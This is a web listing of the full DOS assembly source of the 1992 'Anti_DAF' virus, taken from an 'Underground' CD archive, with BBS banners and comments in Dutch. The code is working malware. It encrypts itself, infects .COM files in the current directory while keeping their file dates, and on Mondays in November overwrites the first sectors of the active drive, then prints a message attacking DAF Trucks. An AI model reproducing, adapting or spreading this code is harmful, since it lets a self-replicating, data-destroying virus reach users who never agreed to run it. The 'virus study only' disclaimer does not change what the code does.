home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / a / anti_daf.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  11.5 KB  |  291 lines

  1. ;****************************************************************************;
  2.  
  3. ;                                                                            ;
  4.  
  5. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  6.  
  7. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  8.  
  9. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  10.  
  11. ;                     -=]                            [=-                     ;
  12.  
  13. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  14.  
  15. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  16.  
  17. ;                     -=]                            [=-                     ;
  18.  
  19. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  20.  
  21. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  22.  
  23. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  24.  
  25. ;                                                                            ;
  26.  
  27. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  28.  
  29. ;                                                                            ;
  30.  
  31. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  32.  
  33. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  34.  
  35. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  36.  
  37. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  38.  
  39. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  40.  
  41. ; Is. Keep This Code in Responsible Hands!                                   ;
  42.  
  43. ;                                                                            ;
  44.  
  45. ;****************************************************************************;
  46.  
  47. ;****************************************************************************
  48.  
  49. ;*   The Anti_DAF Virus                                                     *
  50.  
  51. ;*                                                                          *
  52.  
  53. ;*   Assembled with Tasm 2.5                            *
  54.  
  55. ;*                                                                          *
  56.  
  57. ;*   (c) 1992 Dark Helmet & The Virus Research Centre, The Netherlands      *
  58.  
  59. ;*   The author takes no responsibilty for any damages caused by the virus  *
  60.  
  61. ;*                                                                          *
  62.  
  63. ;*   Special greetings and thanx to :                                       *
  64.  
  65. ;*   Glenn Benton, XSTC for their nice source and viruses,             *
  66.  
  67. ;*   Peter Venkman for his BBS, Guns and Roses for their great music,         *
  68.  
  69. ;*   and al the other viruswriters...                        *
  70.  
  71. ;*                                                                          *
  72.  
  73. ;*   "Dark Helmet strikes back..."                              *
  74.  
  75. ;*                                                                          *
  76.  
  77. ;*--------------------------------------------------------------------------*
  78.  
  79. ;*                                        *
  80.  
  81. ;*   NOTE : This virus will overwrite the first sectors of the active drive *
  82.  
  83. ;*          on any monday in November.                                      *
  84.  
  85. ;*                                        *   
  86.  
  87. ;*   Coming soon : CIVIL WAR II                              *
  88.  
  89. ;*                                        *
  90.  
  91. ;*--------------------------------------------------------------------------*
  92.  
  93. ;*                                                                          *
  94.  
  95. ;*  Het Anti-DAF virus is hoofzakelijk gebaseerd op The Navigator virus     *
  96.  
  97. ;*  De encryptie die bij Anti-DAF gebruikt wordt is gebaseerd               *
  98.  
  99. ;*  op de encryptie zoals deze door Glenn Benton gebruikt is             *
  100.  
  101. ;*  bij het 'RTL4/Wedden dat virus'.                                        *
  102.  
  103. ;*  Om de controleren of een file geinfecteerd is worden de 4e, 5e en 6e    *
  104.  
  105. ;*  bytes aan het begin gebruikt.                        *
  106.  
  107. ;*                                        *
  108.  
  109. ;*   XOR de 4e en 5e byte                            *
  110.  
  111. ;*   Verhoog resultaat met 1                            *
  112.  
  113. ;*   Vergelijk met 6e byte                                *
  114.  
  115. ;*                                        *
  116.  
  117. ;*   Is het resultaat gelijk dan is de file al besmet, de 6e byte word ook  *
  118.  
  119. ;*   voor de decryptie gebruikt.                        *
  120.  
  121. ;*   Verlaag deze waarde met 1 en je hebt de sleutel zoals deze bij de      *
  122.  
  123. ;*   decrypty in gebruik is.                            *
  124.  
  125. ;*   Het 4e byte word bepaald uit de lengte van de file + 1.                *
  126.  
  127. ;*   De 5e byte word bepaald door het aantal seconden van             *
  128.  
  129. ;*   de systeemtijd te pakken.                            * 
  130.  
  131. ;*                                                                          *
  132.  
  133. ;*   Dark Helmet                                *
  134.  
  135. ;*                                        *
  136.  
  137. ;****************************************************************************
  138.  
  139.  
  140.  
  141.         .Radix 16
  142.  
  143.  
  144.  
  145. Anti_DAF        Segment
  146.  
  147.         Assume cs:Anti_DAF, ds:Anti_DAF
  148.  
  149.                 org 100h
  150.  
  151.  
  152.  
  153. len         equ offset last - begin
  154.  
  155. vir_len            equ offset last - vir_start 
  156.  
  157.  
  158.  
  159. Dummy:          db 0e9h, 03h, 00h
  160.  
  161. Key:            db 000h, 00h, 01h
  162.  
  163.  
  164.  
  165. Begin:          call virus            ; IP op stack
  166.  
  167.  
  168.  
  169. Virus:          pop bp                ; Haal IP van Stack    
  170.  
  171.                 sub bp,109h            
  172.  
  173.                 lea si,vir_start+[bp]           ; voor decryptie     
  174.  
  175.         mov di,si
  176.  
  177.         mov cx,vir_len             ; lengte decryptie gedeelte    
  178.  
  179.         mov ah,ds:[105h]        ; haal sleutel op
  180.  
  181.         dec ah                          ; sleutel met 1 verminderen
  182.  
  183.                         ; voor decryptie
  184.  
  185.  
  186.  
  187. decrypt:        lodsb                ; decrypt virus
  188.  
  189.         xor al,ah            
  190.  
  191.         stosb
  192.  
  193.         loop decrypt
  194.  
  195.  
  196.  
  197. vir_start:    mov dx,0fe00h            ; verplaats DTA
  198.  
  199.         mov ah,1ah
  200.  
  201.         int 21h
  202.  
  203.  
  204.  
  205. restore_begin:  mov di,0100h            ; herstel begin programma
  206.  
  207.         lea si,ds:[buffer+bp]
  208.  
  209.         mov cx,06h
  210.  
  211.         rep movsb
  212.  
  213.  
  214.  
  215.         mov ah,2ah            ;kijk of het een maandag     
  216.  
  217.         int 21h                ;in november is
  218.  
  219.         cmp dh,00bh
  220.  
  221.         jne no_activate
  222.  
  223.         cmp al,01h
  224.  
  225.         jne no_activate
  226.  
  227.  
  228.  
  229. activate:    mov ah,09h            ; activeer het virus :-)
  230.  
  231.         lea dx,[text+bp]        ; druk text af
  232.  
  233.         int 21h
  234.  
  235.         mov ah,19h            ; vraag drive op
  236.  
  237.         int 21h
  238.  
  239.         mov dx,0                ; overschrijf eerste sectors
  240.  
  241.         mov cx,10h            ; van huidige drive
  242.  
  243.         mov bx,0            
  244.  
  245.             int 26h
  246.  
  247.         jmp exit
  248.  
  249.  
  250.  
  251.  
  252.  
  253.  
  254.  
  255. no_activate:    lea dx,[com_mask+bp]        ; zoekt eerste .COM program
  256.  
  257.         mov ah,04eh            ; in directorie
  258.  
  259.         xor cx,cx
  260.  
  261.         int 21h
  262.  
  263.  
  264.  
  265. Open_file:    mov ax,03d02h            ; open gevonden file
  266.  
  267.         mov dx,0fe1eh
  268.  
  269.         int 21h
  270.  
  271.         mov [handle+bp],ax
  272.  
  273.         xchg ax,bx
  274.  
  275.  
  276.  
  277. Read_date:    mov ax,05700h            ;lees datum/tijd file
  278.  
  279.         int 21h                ;en bewaar deze
  280.  
  281.         mov [date+bp],dx
  282.  
  283.         mov [time+bp],cx
  284.  
  285.  
  286.  
  287. Check_infect:    mov bx,[handle+bp]        ; kijkt of al geinfecteerd
  288.  
  289.         mov ah,03fh
  290.  
  291.         mov cx,06h
  292.  
  293.         lea dx,[buffer+bp]
  294.  
  295.         int 21h
  296.  
  297.                 mov al,byte ptr [buffer+bp]+3
  298.  
  299.         xor al,byte ptr [buffer+bp]+4 
  300.  
  301.         inc al
  302.  
  303.         cmp al,byte ptr [buffer+bp]+5    
  304.  
  305.         jne infect_file
  306.  
  307.  
  308.  
  309. Close_file:     mov bx,[handle+bp]        ; sluit file 
  310.  
  311.         mov ah,3eh
  312.  
  313.         int 21h
  314.  
  315.  
  316.  
  317. Next_file:      mov ah,4fh            ; zoekt volgende file
  318.  
  319.         int 21h
  320.  
  321.         jnb open_file
  322.  
  323.         jmp exit            ; geen meer gevonden,
  324.  
  325.                         ; ga naar exit
  326.  
  327.  
  328.  
  329. Infect_file:    mov ax,word ptr [cs:0fe1ah]    ; lees lengte van file in
  330.  
  331.         sub ax,03h
  332.  
  333.         mov [lenght+bp],ax        ; sla lengte op voor sprong
  334.  
  335.                         ; instructie zodadelijk    
  336.  
  337.         inc al                ; verhoog AL, eerste key 
  338.  
  339.         mov [key1+bp],al            
  340.  
  341.         mov ah,2ch            ; vraag systeemtijd op
  342.  
  343.         int 21h
  344.  
  345.         mov [key2+bp],dh        ; gebruik seconden voor tweede
  346.  
  347.                         ; key
  348.  
  349.         mov al,dh
  350.  
  351.         xor al,[key1+bp]        ; derde sleutel en sleutel
  352.  
  353.                         ; voor encrypty is een xor
  354.  
  355.                         ; van key1 en key2
  356.  
  357.         mov [sleutel+bp],al
  358.  
  359.         lea si,vir_start+[bp]
  360.  
  361.         mov di,0fd00h            ; encrypt hele zooi aan het
  362.  
  363.                         ; einde van het segment
  364.  
  365.         mov cx,vir_len 
  366.  
  367.         
  368.  
  369. Encrypt:    lodsb                ; de encryptie    
  370.  
  371.         xor al,[sleutel+bp]
  372.  
  373.         stosb
  374.  
  375.         loop encrypt
  376.  
  377.         mov al,[sleutel+bp]
  378.  
  379.         inc al
  380.  
  381.         mov [sleutel+bp],al
  382.  
  383.  
  384.  
  385. Write_jump:    mov ax,04200h               ; schrijf de jmp die het
  386.  
  387.         call move_pointer           ; die het virus aan het begin    
  388.  
  389.                 mov ah,40h               ; maakt    
  390.  
  391.         mov cx,01h
  392.  
  393.         lea dx,[jump+bp]
  394.  
  395.         int 21h
  396.  
  397.         
  398.  
  399.         mov ah,40h            ; schrijf de offset die de jmp
  400.  
  401.         mov cx,02h            ; maakt
  402.  
  403.         lea dx,[lenght+bp]
  404.  
  405.         int 21h
  406.  
  407.         
  408.  
  409.         mov ah,40            ; schrijf de sleutels weg
  410.  
  411.         mov cx,03h
  412.  
  413.         lea dx,[key1+bp]
  414.  
  415.         int 21h
  416.  
  417.                 
  418.  
  419. Write_virus:    mov ax,4202h            ; schrijf virus gedeelte
  420.  
  421.         call move_pointer        ; tot vir_start
  422.  
  423.         mov ah,40h
  424.  
  425.         mov cx,len - vir_len
  426.  
  427.         lea dx,[begin+bp]
  428.  
  429.         int 21h
  430.  
  431.         mov ah,40h            ; schrijf het encrypte virus
  432.  
  433.         mov cx,vir_len             ; achter de rest van het virus
  434.  
  435.         mov dx,0fd00h
  436.  
  437.         int 21h
  438.  
  439.  
  440.  
  441. restore_date:   mov dx,[date+bp]        ; herstel datum/tijd
  442.  
  443.         mov cx,[time+bp]        ; geinfecteerde file
  444.  
  445.         mov bx,[handle+bp]
  446.  
  447.         mov ax,05701h
  448.  
  449.         int 21h
  450.  
  451.  
  452.  
  453. exit:        mov bx,0100h            ; continu met orgineel 
  454.  
  455.         jmp bx                ; orgineel programma
  456.  
  457.  
  458.  
  459. ;----------------------------------------------------------------------------
  460.  
  461.  
  462.  
  463. move_pointer:   mov bx,[handle+bp]
  464.  
  465.         xor cx,cx
  466.  
  467.         xor dx,dx
  468.  
  469.         int 21h
  470.  
  471.         ret
  472.  
  473.         
  474.  
  475. ;----------------------------------------------------------------------------
  476.  
  477.  
  478.  
  479. com_mask    db "*.com",0
  480.  
  481. handle        dw ?
  482.  
  483. date        dw ?
  484.  
  485. time        dw ?
  486.  
  487. buffer          db 090h,0cdh,020h,044h,048h,00h
  488.  
  489. lenght        dw ?
  490.  
  491. jump            db 0e9h,0
  492.  
  493. text            db 0ah,0ah,0dh,"The Anti-DAF virus",0ah,0dh
  494.  
  495.         db "DAF-TRUCKS Eindhoven",0ah,0dh
  496.  
  497.         db "Hugo vd Goeslaan 1",0ah,0dh
  498.  
  499.         db "Postbus 90063",0ah,0dh
  500.  
  501.         db "5600 PR Eindhoven, The Netherlands",0ah,0dh
  502.  
  503.         db 0ah,"DAF sucks...",0ah,0dh 
  504.  
  505.         db "(c) 1992 Dark Helmet & The Virus Research Centre",0ah,0dh,"$",0
  506.  
  507.  
  508.  
  509. key1        db 00
  510.  
  511. key2        db 00
  512.  
  513. sleutel         db 00
  514.  
  515. last        db 090h
  516.  
  517.  
  518.  
  519. Anti_DAF    ends
  520.  
  521.         end  dummy
  522.  
  523. ;****************************************************************************;
  524.  
  525. ;                                                                            ;
  526.  
  527. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  528.  
  529. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  530.  
  531. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  532.  
  533. ;                     -=]                            [=-                     ;
  534.  
  535. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  536.  
  537. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  538.  
  539. ;                     -=]                            [=-                     ;
  540.  
  541. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  542.  
  543. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  544.  
  545. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  546.  
  547. ;                                                                            ;
  548.  
  549. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  550.  
  551. ;                                                                            ;
  552.  
  553. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  554.  
  555. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  556.  
  557. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  558.  
  559. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  560.  
  561. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  562.  
  563. ; Is. Keep This Code in Responsible Hands!                                   ;
  564.  
  565. ;                                                                            ;
  566.  
  567. ;****************************************************************************;
  568.  
  569.  
  570.  
  571. ;─────────────────────────────────────────────────────────────────────────;
  572.  
  573. ;──────────────────> and Remember Don't Forget to Call <──────────────────;
  574.  
  575. ;────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────;
  576.  
  577. ;─────────────────────────────────────────────────────────────────────────;
  578.  
  579.  
  580.  
  581.